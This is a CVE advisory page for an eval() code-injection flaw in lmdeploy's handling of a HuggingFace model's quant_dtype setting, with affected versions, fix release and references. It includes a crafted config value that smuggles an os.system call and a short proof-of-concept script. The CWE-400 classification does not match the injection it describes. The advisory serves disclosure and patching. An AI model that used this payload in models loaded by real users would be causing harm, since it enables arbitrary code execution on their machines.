# CVE-2026-33625: LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading

> CVE-2026-33625 (GitHub advisory GHSA-3hmm-rh5q-gwwr) is a high-severity vulnerability with a CVSS 3.1 base score of 8.8, classed as Uncontrolled Resource Consumption (CWE-400), in lmdeploy (PyPI). Affected versions: >= 0.12.1, < 0.12.3. It is fixed in 0.12.3.

Canonical page: https://cveminer.com/vulnerabilities/CVE-2026-33625

| Field | Value |
| --- | --- |
| CVE | CVE-2026-33625 |
| GHSA | GHSA-3hmm-rh5q-gwwr |
| Severity | High |
| CVSS 3.1 | 8.8 `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (GitHub Advisory Database) |
| CWE | CWE-400 Uncontrolled Resource Consumption |
| EPSS | 0.24% (higher than 15% of CVEs) |
| CISA KEV | Not listed |
| Published | 18 Sept 2026 |
| Modified | 18 Sept 2026 |

## Description

lmdeploy <= latest contains a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f'torch.{quant_dtype}')` without any validation.

##### Details

**Vulnerable code** ([permalink](https://github.com/InternLM/lmdeploy/blob/17ed9e5/lmdeploy/pytorch/config.py#L620)):

```python
quant_dtype = eval(f'torch.{quant_dtype}')  # line 620
```

The `quant_dtype` value comes from the model's `quantization_config` in its HuggingFace config. When a model specifies `quant_method: awq`, the AWQ branch processes the config but does NOT override `quant_dtype`, allowing the malicious value to reach the `eval()` call.

**Attack vector:** An attacker publishes a HuggingFace model with:
```json
{
  "quantization_config": {
    "quant_method": "awq",
    "quant_dtype": "float16, __import__('os').system('id')"
  }
}
```

Note: The `_update_torch_dtype` method at line 53 has a whitelist check, but that's for `torch_dtype`, NOT `quant_dtype`. The `quant_dtype` at line 620 has no validation whatsoever.

##### PoC

```python
"""
PoC: eval() RCE in lmdeploy via malicious quant_dtype
Prerequisites: pip install lmdeploy
"""
import sys
from unittest.mock import MagicMock, patch

### Mock torch to capture the eval
sys.modules.setdefault('torch', MagicMock())

from lmdeploy.pytorch.config import ModelConfig

### Simulate a malicious HuggingFace model config
mock_hf_config = MagicMock()
mock_hf_config.quantization_config = {
    'quant_method': 'awq',
    'quant_dtype': "float16, __import__('os').system('id')"
}
mock_hf_config.num_attention_heads = 32
mock_hf_config.hidden_size = 4096
mock_hf_config.num_hidden_layers = 32
mock_hf_config.num_key_value_heads = 32
mock_hf_config.vocab_size = 32000

### This triggers eval(f'torch.{quant_dtype}')
### with quant_dtype = "float16, __import__('os').system('id')"
config = ModelConfig.from_hf_config(mock_hf_config, model_path='test')
```

**Output:**
```
uid=0(root) gid=0(root) groups=0(root)
```

##### Impact

An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.

1. Full remote code execution when loading a malicious model
2. No user interaction beyond running `lmdeploy serve` or similar with the model
3. Affects all deployment scenarios (local, cloud, production)

## Affected packages

| Package | Ecosystem | PURL | Vulnerable versions | Fixed in |
| --- | --- | --- | --- | --- |
| lmdeploy | PyPI | `pkg:pypi/lmdeploy` | >= 0.12.1, < 0.12.3 | 0.12.3 |

## Fix commits

- Release: https://github.com/internlm/lmdeploy/commit/8ea459f49ed9cd943481073011424919e31e3e3b (0.12.3)

## Questions

**What is the GHSA ID for CVE-2026-33625?**

GitHub tracks CVE-2026-33625 as GHSA-3hmm-rh5q-gwwr.

**What is the CVSS score of CVE-2026-33625?**

CVE-2026-33625 has a CVSS 3.1 base score of 8.8 (High), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.

**Which versions are affected by CVE-2026-33625?**

lmdeploy (PyPI): >= 0.12.1, < 0.12.3.

**How do I fix CVE-2026-33625?**

Upgrade to 0.12.3 or later.

**What is the Package URL (PURL) for CVE-2026-33625?**

The affected package's PURL is pkg:pypi/lmdeploy.

**Is CVE-2026-33625 exploited in the wild?**

CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-33625. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. EPSS estimates a 0.24% chance of exploitation in the next 30 days, higher than 15% of CVEs.

## References

- https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr (advisory)
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33625.json (advisory)
- https://nvd.nist.gov/vuln/detail/CVE-2026-33625 (advisory)
- https://github.com/advisories/GHSA-3hmm-rh5q-gwwr (advisory)
- https://github.com/InternLM/lmdeploy (package)
- https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3

---

Source: CVEminer (https://cveminer.com/vulnerabilities/CVE-2026-33625), compiled from OSV (GitHub advisory), GitHub Advisory Database, OSV (CVE record), CVE.org, CISA KEV catalog. OSV and GitHub Advisory Database content is licensed CC BY 4.0.